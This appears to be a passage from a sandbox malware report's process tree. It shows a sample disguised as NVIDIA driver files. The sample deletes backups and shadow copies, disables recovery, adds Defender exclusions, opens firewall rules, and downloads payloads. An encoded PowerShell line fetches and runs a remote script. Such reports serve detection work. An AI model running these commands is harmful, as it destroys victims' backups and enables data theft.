        "C:\Users\Admin\AppData\Local\Temp\RarSFX0\UnRAR.exe" x -y -pHelloFriend! "C:\Users\Admin\AppData\Local\Temp\RarSFX0\sfx.rar" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\"
        5⤵
        Executes dropped EXE
        
        PID:4624
    - - C:\Program Files\WindowsOptions\nvidia_driver64.exe
        
        "C:\Program Files\WindowsOptions\nvidia_driver64.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:5780
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        Drops file in System32 directory
        Drops file in Windows directory
        
        PID:1424
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        Drops file in Windows directory
        
        PID:3460
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        Drops file in Windows directory
        
        PID:5464
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        Drops file in Windows directory
        
        PID:3332
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        Drops file in Windows directory
        
        PID:5692
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        Drops file in Windows directory
        
        PID:1788
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        Drops file in Windows directory
        
        PID:6128
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        Drops file in Windows directory
        
        PID:3864
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        Drops file in Windows directory
        
        PID:4172
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        Drops file in Windows directory
        
        PID:3252
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        Drops file in Windows directory
        
        PID:3036
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        Drops file in Windows directory
        
        PID:3868
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        Drops file in Windows directory
        
        PID:3224
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        Drops file in Windows directory
        
        PID:3088
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        Drops file in Windows directory
        
        PID:5732
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        Drops file in Windows directory
        
        PID:5296
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:2856
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:2944
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:3844
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:3264
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:5564
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:4820
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:4208
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:3416
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:3612
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:2420
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:5176
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:328
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:412
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:3860
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:4912
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:5148
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:4160
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:3488
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:6132
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:3500
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:5568
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:2020
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:2188
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:1780
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:2056
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:2728
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:5172
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:4212
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:5148
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:732
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:6080
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:2728
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:6040
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:3248
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:4404
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:1652
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:1132
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:5448
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:4040
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:4920
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:3840
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:2416
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:5504
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:4596
      - C:\Windows\SYSTEM32\reagentc.exe
        
        reagentc.exe /disable
        6⤵
        
        PID:4548
    - - C:\Program Files\WindowsOptions\scvhost.exe
        
        "C:\Program Files\WindowsOptions\scvhost.exe"
        5⤵
        Modifies WinLogon for persistence
        UAC bypass
        Executes dropped EXE
        Drops file in Program Files directory
        Modifies registry class
        Suspicious use of WriteProcessMemory
        System policy modification
        
        PID:3624
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files\WindowsOptions' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'C:\Windows' -ErrorAction SilentlyContinue"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3148
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Disable-ComputerRestore -Drive C:\ -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','reagentc /disable' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:C: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:D: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','vssadmin delete shadows /all /quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4888
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c reagentc /disable
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:5596
        
        C:\Windows\system32\ReAgentc.exe
        
        reagentc /disable
        8⤵
        Drops file in Windows directory
        
        PID:3084
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c wbadmin delete backup -backupTarget:C: -allVersions -quiet
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:4108
        
        C:\Windows\system32\wbadmin.exe
        
        wbadmin delete backup -backupTarget:C: -allVersions -quiet
        8⤵
        Deletes system backups
        Drops file in Windows directory
        
        PID:4920
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c wbadmin delete backup -backupTarget:D: -allVersions -quiet
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:4980
        
        C:\Windows\system32\wbadmin.exe
        
        wbadmin delete backup -backupTarget:D: -allVersions -quiet
        8⤵
        Deletes system backups
        Drops file in Windows directory
        
        PID:3536
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c vssadmin delete shadows /all /quiet
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:2128
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        8⤵
        Interacts with shadow copies
        
        PID:5588
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'http://150.241.94.206/uploads/Faceit/berserk/asd.exe' -OutFile 'C:\Program Files\WindowsOptions\asd.exe'"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1836
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand WwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBEAGUAZgBhAHUAbAB0AFcAZQBiAFAAcgBvAHgAeQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFAAcgBvAHgAeQA7ACAAaQByAG0AIABoAHQAdABwAHMAOgAvAC8AZgBhAGMAZQBpAHQALQBjAGQAbgAuAG8AcgBnAC8AdQBwAGwAbwBhAGQAcwAvAEYAYQBjAGUAaQB0AC8AYgBlAHIAcwBlAHIAawAvAHMAZQBuAGQAXwB0AGQAYQB0AGEALgBwAHMAMQAgAHwAIABpAGUAeAA=
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:5980
    - - C:\Windows\system32\sc.exe
        
        "C:\Windows\system32\sc.exe" description BerserkGuard "BerserkGuard service"
        5⤵
        Launches sc.exe
        
        PID:3668
    - - C:\Windows\system32\sc.exe
        
        "C:\Windows\system32\sc.exe" failure BerserkGuard reset= 86400 actions= restart/5000/restart/5000/restart/5000
        5⤵
        Launches sc.exe
        
        PID:4504
    - - C:\Windows\system32\sc.exe
        
        "C:\Windows\system32\sc.exe" failureflag BerserkGuard 1
        5⤵
        Launches sc.exe
        
        PID:5676
    - - C:\Program Files\WindowsOptions\nvidia_dr64.exe
        
        "C:\Program Files\WindowsOptions\nvidia_dr64.exe"
        5⤵
        Executes dropped EXE
        Modifies trusted root certificate store through registry
        Modifies system certificate store
        Suspicious use of WriteProcessMemory
        
        PID:4528
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-NetFirewallRule -DisplayName 'nvidia' -ErrorAction SilentlyContinue | Remove-NetFirewallRule"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1408
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "New-NetFirewallRule -DisplayName 'nvidia' -Direction Inbound -Program 'C:\Program Files\WindowsOptions\nvidia_d64.exe' -Action Allow -Profile Any"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4932
      - C:\Program Files\WindowsOptions\nvidia_d64.exe
        
        "C:\Program Files\WindowsOptions\nvidia_d64.exe" -s "C:\Program Files\WindowsOptions\n_config" --mode regular@6967 --set confdir="C:/ProgramData/WindowsOptions" -q --ssl-insecure
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2556
        
        C:\Program Files\WindowsOptions\nvidia_d64.exe
        
        "C:\Program Files\WindowsOptions\nvidia_d64.exe" -s "C:\Program Files\WindowsOptions\n_config" --mode regular@6967 --set confdir="C:/ProgramData/WindowsOptions" -q --ssl-insecure
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:5168
        
        C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /F /IM FACEITClient.exe
        8⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4972
        
        C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /F /IM faceit.exe
        8⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1800
        
        C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /F /IM FACEITService.exe
        8⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5036
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:3092
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5564
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:6004
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3736
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:3064
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:2852
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:3636
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:8
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:1016
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:4852
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:4084
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:5232
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:2420
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:4588
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:4460
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:488
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:5544
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:240
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:4760
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:1916
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:2112
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:4820
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:4036
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:5984
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:6112
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:3068
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:3500
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:1736
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:6120
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:5172
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:3248
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:5684
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:2420
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:3592
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:4932
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        9⤵
        
        PID:4588
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:3156
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:3548
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:1788
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:3684
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:5384
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:4880
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:3244
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:2892
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:5984
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:2164
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:4724
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        9⤵
        
        PID:5980
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:3916
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:3932
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:3224
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:4608
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:3304
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:3856
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:708
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:2420
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:2512
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:288
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:1428
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        9⤵
        
        PID:3156
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:4160
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:5656
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:5384
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:1568
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:1152
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:6056
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:2852
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:3528
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:3580
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:4724
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:6116
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:3948
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:1836
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        9⤵
        
        PID:1408
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:4800
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:2428
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:3384
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:4212
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:4388
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:5452
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:1952
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:1520
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:1788
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:584
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:3028
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:2592
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:3064
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:1128
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:5460
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:2796
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:1324
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:8
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        9⤵
        
        PID:1736
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:3932
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:1096
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:3948
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:3416
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
